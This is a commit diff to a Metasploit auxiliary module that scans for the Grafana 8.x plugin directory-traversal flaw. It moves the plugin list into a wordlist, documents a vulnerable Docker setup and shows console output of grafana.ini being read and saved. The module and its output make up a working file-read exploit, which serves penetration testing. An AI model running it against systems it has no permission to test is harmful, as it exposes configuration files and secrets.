move grafana plugins out to data
This commit is contained in:
@@ -0,0 +1,40 @@
|
||||
alertlist
|
||||
annolist
|
||||
barchart
|
||||
bargauge
|
||||
candlestick
|
||||
cloudwatch
|
||||
dashlist
|
||||
elasticsearch
|
||||
gauge
|
||||
geomap
|
||||
gettingstarted
|
||||
grafana-azure-monitor-datasource
|
||||
graph
|
||||
heatmap
|
||||
histogram
|
||||
influxdb
|
||||
jaeger
|
||||
logs
|
||||
loki
|
||||
mssql
|
||||
mysql
|
||||
news
|
||||
nodeGraph
|
||||
opentsdb
|
||||
piechart
|
||||
pluginlist
|
||||
postgres
|
||||
prometheus
|
||||
stackdriver
|
||||
stat
|
||||
state-timeline
|
||||
status-history
|
||||
table
|
||||
table-old
|
||||
tempo
|
||||
testdata
|
||||
text
|
||||
timeseries
|
||||
welcome
|
||||
zipkin
|
||||
@@ -3,6 +3,10 @@
|
||||
Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8, 8.2.7, or 8.3.1 are vulnerable to directory traversal
|
||||
through the plugin URL. A valid plugin ID is required, but many are installed by default.
|
||||
|
||||
### Vulnerable Docker Image
|
||||
|
||||
```docker run -p 3000:3000 --name grafana bitnami/grafana:8.3.0```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
@@ -22,6 +26,10 @@ The path to the file to read. Defaults to `/etc/grafana/grafana.ini`
|
||||
|
||||
The depth of `../` needed to get to the file system root. Defaults to `13`
|
||||
|
||||
### PLUGINS_FILE
|
||||
|
||||
The plugin file to use. Defaults to `data/wordlists/grafana_plugins.txt`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Grafana 8.3.0 on Ubuntu 20.04
|
||||
@@ -77,3 +85,64 @@ grafana:x:112:117::/usr/share/grafana:/bin/false
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Grafana 8.3.0 on Docker
|
||||
|
||||
Using `docker run -p 3000:3000 --name grafana bitnami/grafana:8.3.0`
|
||||
|
||||
The `grafana.ini` file is located in `/opt/bitnami/grafana/conf/grafana.ini`
|
||||
|
||||
```
|
||||
[*] Processing grafana.rb for ERB directives.
|
||||
resource (grafana.rb)> use auxiliary/scanner/http/grafana_plugin_traversal
|
||||
resource (grafana.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (grafana.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (grafana.rb)> set filepath /opt/bitnami/grafana/conf/grafana.ini
|
||||
filepath => /opt/bitnami/grafana/conf/grafana.ini
|
||||
resource (grafana.rb)> run
|
||||
[+] Detected vulnerable Grafina: 8.3.0
|
||||
[*] 127.0.0.1 - Progress 0/40 (0.0%)
|
||||
[*] Attempting plugin: alertlist
|
||||
[+] alertlist was found and exploited successfully
|
||||
[+] ##################### Grafana Configuration Example #####################
|
||||
#
|
||||
# Everything has defaults so you only need to uncomment things you want to
|
||||
# change
|
||||
|
||||
# possible values : production, development
|
||||
;app_mode = production
|
||||
|
||||
# instance name, defaults to HOSTNAME environment variable value or hostname if HOSTNAME var is empty
|
||||
;instance_name = ${HOSTNAME}
|
||||
|
||||
```
|
||||
...snip...
|
||||
```
|
||||
|
||||
# Experimental feature
|
||||
;use_browser_locale = false
|
||||
|
||||
# Default timezone for user preferences. Options are 'browser' for the browser local timezone or a timezone name from IANA Time Zone database, e.g. 'UTC' or 'Europe/Amsterdam' etc.
|
||||
;default_timezone = browser
|
||||
|
||||
[expressions]
|
||||
# Enable or disable the expressions functionality.
|
||||
;enabled = true
|
||||
|
||||
[geomap]
|
||||
# Set the JSON configuration for the default basemap
|
||||
;default_baselayer_config = `{
|
||||
; "type": "xyz",
|
||||
; "config": {
|
||||
; "attribution": "Open street map",
|
||||
; "url": "https://tile.openstreetmap.org/{z}/{x}/{y}.png"
|
||||
; }
|
||||
;}`
|
||||
|
||||
# Enable or disable loading other base map layers
|
||||
;enable_custom_baselayers = true
|
||||
|
||||
[+]127.0.0.1:3000 - File saved in: /home/metasploit/.msf4/loot/20211219160839_default_127.0.0.1_grafana.loot_370996.ini
|
||||
```
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
@@ -41,11 +42,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Opt::RPORT(3000),
|
||||
OptString.new('TARGETURI', [ true, 'Path to Grafana instance', '/']),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/grafana/grafana.ini']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 13])
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 13]),
|
||||
OptPath.new('PLUGINS_FILE', [
|
||||
true, 'File containing plugins to enumerate',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'grafana_plugins.txt')
|
||||
]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def print_progress(host, current, total)
|
||||
print_status("#{host} - Progress #{current.to_s.rjust(Math.log10(total).ceil + 1)}/#{total} (#{((current.to_f / total) * 100).truncate(2)}%)")
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
@@ -72,48 +81,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
check_code = check
|
||||
return unless check_code == Exploit::CheckCode::Appears
|
||||
|
||||
[
|
||||
'alertlist',
|
||||
'annolist',
|
||||
'barchart',
|
||||
'bargauge',
|
||||
'candlestick',
|
||||
'cloudwatch',
|
||||
'dashlist',
|
||||
'elasticsearch',
|
||||
'gauge',
|
||||
'geomap',
|
||||
'gettingstarted',
|
||||
'grafana-azure-monitor-datasource',
|
||||
'graph',
|
||||
'heatmap',
|
||||
'histogram',
|
||||
'influxdb',
|
||||
'jaeger',
|
||||
'logs',
|
||||
'loki',
|
||||
'mssql',
|
||||
'mysql',
|
||||
'news',
|
||||
'nodeGraph',
|
||||
'opentsdb',
|
||||
'piechart',
|
||||
'pluginlist',
|
||||
'postgres',
|
||||
'prometheus',
|
||||
'stackdriver',
|
||||
'stat',
|
||||
'state-timeline',
|
||||
'status-history',
|
||||
'table',
|
||||
'table-old',
|
||||
'tempo',
|
||||
'testdata',
|
||||
'text',
|
||||
'timeseries',
|
||||
'welcome',
|
||||
'zipkin'
|
||||
].each do |plugin|
|
||||
f = File.open(datastore['PLUGINS_FILE'], 'rb')
|
||||
total = f.readlines.count
|
||||
f.rewind
|
||||
f = f.readlines
|
||||
f.each_with_index do |plugin, i|
|
||||
plugin = plugin.strip
|
||||
print_progress(target_host, i, total)
|
||||
vprint_status("Attempting plugin: #{plugin}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
@@ -121,7 +95,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
})
|
||||
next unless res && res.code == 200
|
||||
|
||||
print_status("#{plugin} was found and exploited successfully")
|
||||
print_good("#{plugin} was found and exploited successfully")
|
||||
vprint_good(res.body)
|
||||
path = store_loot(
|
||||
'grafana.loot',
|
||||
|
||||
Reference in New Issue
Block a user